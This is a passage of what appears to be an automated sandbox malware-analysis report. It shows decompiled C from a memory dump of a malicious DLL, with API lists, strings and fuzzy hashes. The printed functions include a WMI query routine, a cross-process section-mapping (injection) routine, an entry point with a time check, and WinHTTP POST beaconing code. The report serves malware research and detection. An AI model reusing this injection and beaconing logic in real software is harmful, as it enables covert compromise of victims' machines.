				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E0008D565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E000885E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E000885FB( &_v60, 0xfffffffe);
					E0008D619( &_v104);
					return _t320;
				}
				_t165 = E000895C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E000895C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E000892C6(_t165);
				_v60 = _t322;
				E000885B6( &_v52);
				E000885B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E000895C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E000885B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E000885FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E000891C4(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E000891C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E00088679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E000885E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E000885FB(_t136, 0);
								E000885FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E000891C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E000895C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E000895C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E000885E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E000885B6( &_v92);
											E000885B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E00089621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E000885E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E000895C2(_t283, 0x219);
										E00089621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E000885B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E000891C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E0008DA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E000885FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

APIs

Part of subcall function 0008D565: CoInitializeEx.OLE32(00000000,00000000), ref: 0008D578
Part of subcall function 0008D565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0008D589
Part of subcall function 0008D565: CoCreateInstance.OLE32(0009B848,00000000,00000001,0009B858,?), ref: 0008D5A0
Part of subcall function 0008D565: SysAllocString.OLEAUT32(00000000), ref: 0008D5AB
Part of subcall function 0008D565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0008D5D6

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

SysAllocString.OLEAUT32(00000000), ref: 0008DC27
SysAllocString.OLEAUT32(00000000), ref: 0008DC3B
SysFreeString.OLEAUT32(?), ref: 0008DFC4
SysFreeString.OLEAUT32(?), ref: 0008DFCD

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

TRUE, xrefs: 0008DDE9
FALSE, xrefs: 0008DDF0

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree$HeapInitialize$AllocateBlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 1290676130-1412513891
Opcode ID: 8407c96e6160b5065d60b90210f62c7040017ea996aef7ba74b9e0b7f3f9cd4d
Instruction ID: 73554170289a174f736e1aca8fc0718fcd4550517a85dfeebd17367b6f220d82
Opcode Fuzzy Hash: 8407c96e6160b5065d60b90210f62c7040017ea996aef7ba74b9e0b7f3f9cd4d
Instruction Fuzzy Hash: C0E14F71900619AFDF14FFE4D885EEEBBB9FF48300F14856AE546AB291DB30A905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0008C702, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 200
registryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0008C702(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				struct HINSTANCE__* _v40;
				char _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr _t96;
				struct HWND__* _t106;
				intOrPtr* _t113;
				struct HINSTANCE__* _t116;
				intOrPtr _t120;
				intOrPtr _t126;
				intOrPtr _t131;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t139;
				char _t140;
				intOrPtr _t141;

				_t69 =  *0x9e688; // 0xf0000
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E0008E280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						_t136 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t136 + 0x10))(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						_t71 =  *0x9e780; // 0x0
						 *((intOrPtr*)(_t71 + 0x20))(_v16);
					}
					return _v8;
				}
				_push(_t116);
				_push(0x8000000);
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				_push(0x40);
				_push( &_v44);
				_push(_t116);
				_push(0xe);
				_push( &_v16);
				_t80 =  *0x9e780; // 0x0
				if( *((intOrPtr*)(_t80 + 0xc))() < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0);
					if(_t106 != 0) {
						DestroyWindow(_t106);
						UnregisterClassA( &_v56, 0);
					}
				}
				_t139 =  *0x9e780; // 0x0
				_push(0x40);
				_push(0);
				_push(2);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v12);
				_push(GetCurrentProcess());
				_push(_v16);
				if( *((intOrPtr*)(_t139 + 0x14))() < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_push(0x40);
					_push(0);
					_push(2);
					_push( &_v24);
					_push(0);
					_push(0);
					_push(0);
					_t126 = _v20;
					_push( &_v8);
					_t92 =  *0x9e780; // 0x0
					_push(_t126);
					_push(_v16);
					if( *((intOrPtr*)(_t92 + 0x14))() < 0) {
						goto L12;
					}
					_t140 = E0008864A( *0x9e688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t95 =  *0x9e684; // 0xa7f8f0
					_t96 =  *((intOrPtr*)(_t95 + 0x54))(_t126, 0, 0x1ac4, 0x1000, 4);
					_t120 =  *0x9e684; // 0xa7f8f0
					_t131 = _t96;
					 *((intOrPtr*)(_t120 + 0x20))(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E000885FB( &_v32, 0x1ac4);
					_t141 =  *0x9e688; // 0xf0000
					 *0x9e688 = _t131;
					E000886C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E0008C681(_v12, _v8, _v36);
					 *0x9e688 = _t141;
					goto L14;
				}
			}

APIs

RegisterClassExA.USER32 ref: 0008C7C7
CreateWindowExA.USER32 ref: 0008C7F2
DestroyWindow.USER32 ref: 0008C7FD
UnregisterClassA.USER32(?,00000000), ref: 0008C808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0008C824
GetCurrentProcess.KERNEL32(00000000), ref: 0008C91D

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

cdcdwqwqwq, xrefs: 0008C7AC
0, xrefs: 0008C78F
sadccdcdsasa, xrefs: 0008C780

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: ClassCurrentProcessWindow$CreateDestroyFreeHeapRegisterUnregister
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 3082384575-2319545179
Opcode ID: 07db7007716d2e4f817ceec71e527cc64f22d6031091f4fd9147fc7c0957f93d
Instruction ID: 56d27fbf482c3d975646c0c6fc4e7967b2fa72fb0b7d7cfbf44002fbb03df675
Opcode Fuzzy Hash: 07db7007716d2e4f817ceec71e527cc64f22d6031091f4fd9147fc7c0957f93d
Instruction Fuzzy Hash: C3714A71900248EFEB10DF95DD49EEEBBB9FB89700F10406AF645B7290DB74AA04CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00085F63, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 78%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				char _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t49;
				int _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq");
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E000885D0();
				_t19 = E000897ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E00088F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x9e69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E000895A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E000885A3( &_a8);
							_t53 = _t53 + 1;
						} while (_t53 < 0x2710);
						E00092A93( *0x9e69c);
						 *_t55 = 0x7c3;
						 *0x9e684 = E0008E1FE(0x9ba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E000895C2(0x9ba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32);
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E000885B6();
							_v8 = 0;
							_t37 =  *0x9e684; // 0xa7f8f0
							_t38 =  *((intOrPtr*)(_t37 + 0x70))(0, 0, E00085DE7, 0, 0,  &_v8);
							 *0x9e6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E000885B6();
					}
					goto L10;
				}
			}

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 00085F73
SetLastError.KERNEL32(000000AA), ref: 000860B8

Part of subcall function 000885D0: HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Part of subcall function 000897ED: GetSystemTimeAsFileTime.KERNEL32(?,?,00085F90), ref: 000897FA
Part of subcall function 000897ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0008981A

GetModuleHandleA.KERNEL32(00000000), ref: 00085FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 00085FC8
GetLastError.KERNEL32 ref: 00085FD0
memset.MSVCRT ref: 00085FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 00086016
GetFileAttributesW.KERNEL32(00000000), ref: 00086064

Strings

Hello qqq, xrefs: 00085F6E

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: File$ErrorLastModuleTime$AttributesByteCharCreateDebugHandleHeapMultiNameOutputStringSystemUnothrow_t@std@@@Wide__ehfuncinfo$??2@memset
String ID: Hello qqq
API String ID: 1203100507-3610097158
Opcode ID: 650c07dbfe8bcd5d857971e346ac80da2976d1d7801eda26d1e02924d2107b75
Instruction ID: 7f496047aef766fd1361de2284b698e1d9fe11216d7a696fcc86108a41c7cf89
Opcode Fuzzy Hash: 650c07dbfe8bcd5d857971e346ac80da2976d1d7801eda26d1e02924d2107b75
Instruction Fuzzy Hash: A431A371900214ABEB64BB60EC49EAE37B8FF81761F10812AF595D6292DF399944CF21

Uniqueness

Uniqueness Score: -1.00%

Function 0008E6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0008E6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E000895A8(0x85b);
				_v60 = E000895A8(0xdc9);
				_v56 = E000895A8(0x65d);
				_v52 = E000895A8(0xdd3);
				_t105 = E000895A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E0008C3BB(_t214));
				_t113 =  *0x9e6a4; // 0x0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x9e6a4; // 0x0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x9e788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x9e6a4; // 0x0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x9e6a4; // 0x0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x9e6a4; // 0x0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x9e6a4; // 0x0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x9e6a4; // 0x0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E000897ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x9e6a4; // 0x0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E000897ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E000895A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x9e6a4; // 0x0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E0008C3BB(_t217), _a4, _a8);
										E000885A3( &_v12);
										if(_a24 != 0) {
											E000897ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x9e6a4; // 0x0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E0008972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x9e6a4; // 0x0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x9e6a4; // 0x0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x9e6a4; // 0x0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x9e6a4; // 0x0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
									_t172 =  *0x9e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x9e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x9e6a4; // 0x0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x9e6a4; // 0x0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

APIs

memset.MSVCRT ref: 0008E6DC
memset.MSVCRT ref: 0008E6ED
memset.MSVCRT ref: 0008E742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 0008E7C7

Strings

POST, xrefs: 0008E88D

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: bcc3e27f44aff163cdf6aa850cce91d67c5c3682975e9bd2ec9b9850afe413d2
Instruction ID: 29d0154718d895a48c92b36f026742f62314de024879df0f02f683bed0031956
Opcode Fuzzy Hash: bcc3e27f44aff163cdf6aa850cce91d67c5c3682975e9bd2ec9b9850afe413d2
Instruction Fuzzy Hash: 84B15C71900218AFEB54EFA4DC89AEE7BB8BF58310F10406AF545E72A1DB749E40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000902EA, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 0009036A
qsort.MSVCRT ref: 000905E8

Strings

true, xrefs: 00090341
null, xrefs: 0009032F
, xrefs: 000905E5
%I64d, xrefs: 0009035C
false, xrefs: 0009034D
, xrefs: 000902F8, 000906CF, 000906D9, 000905BA, 00090549, 000904D7, 00090354, 00090384, 00090398, 00090399, 000903BB, 000903C3, 000903DB, 000903EB, 00090477, 0009050A, 00090522, 00090599, 000905BF, 000905C5, 000905C6, 0009060A, 000906D2, 000906D3

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true$$
API String ID: 756996078-3248215655
Opcode ID: 4a206477d0ade5e916c7d82e72087fac9d090124020821ef9d5af1ff13053305
Instruction ID: ebb5a5c62ca3dcce896a42093dc0e8649a3f910e3309fa835c03ab8f887ca20d
Opcode Fuzzy Hash: 4a206477d0ade5e916c7d82e72087fac9d090124020821ef9d5af1ff13053305
Instruction Fuzzy Hash: E3E18171A0020ABFDF11AF64CC46EEF3BADEF55340F108029FE5596152E731DA61ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 0009215A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0009215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L000922BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L00092305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E000886E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t12 = _t40 + 3;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

APIs

_snprintf.MSVCRT ref: 0009217E
localeconv.MSVCRT ref: 00092199
strchr.MSVCRT ref: 000921AB
strchr.MSVCRT ref: 000921BC
strchr.MSVCRT ref: 000921CA
strchr.MSVCRT ref: 000921EF

Strings

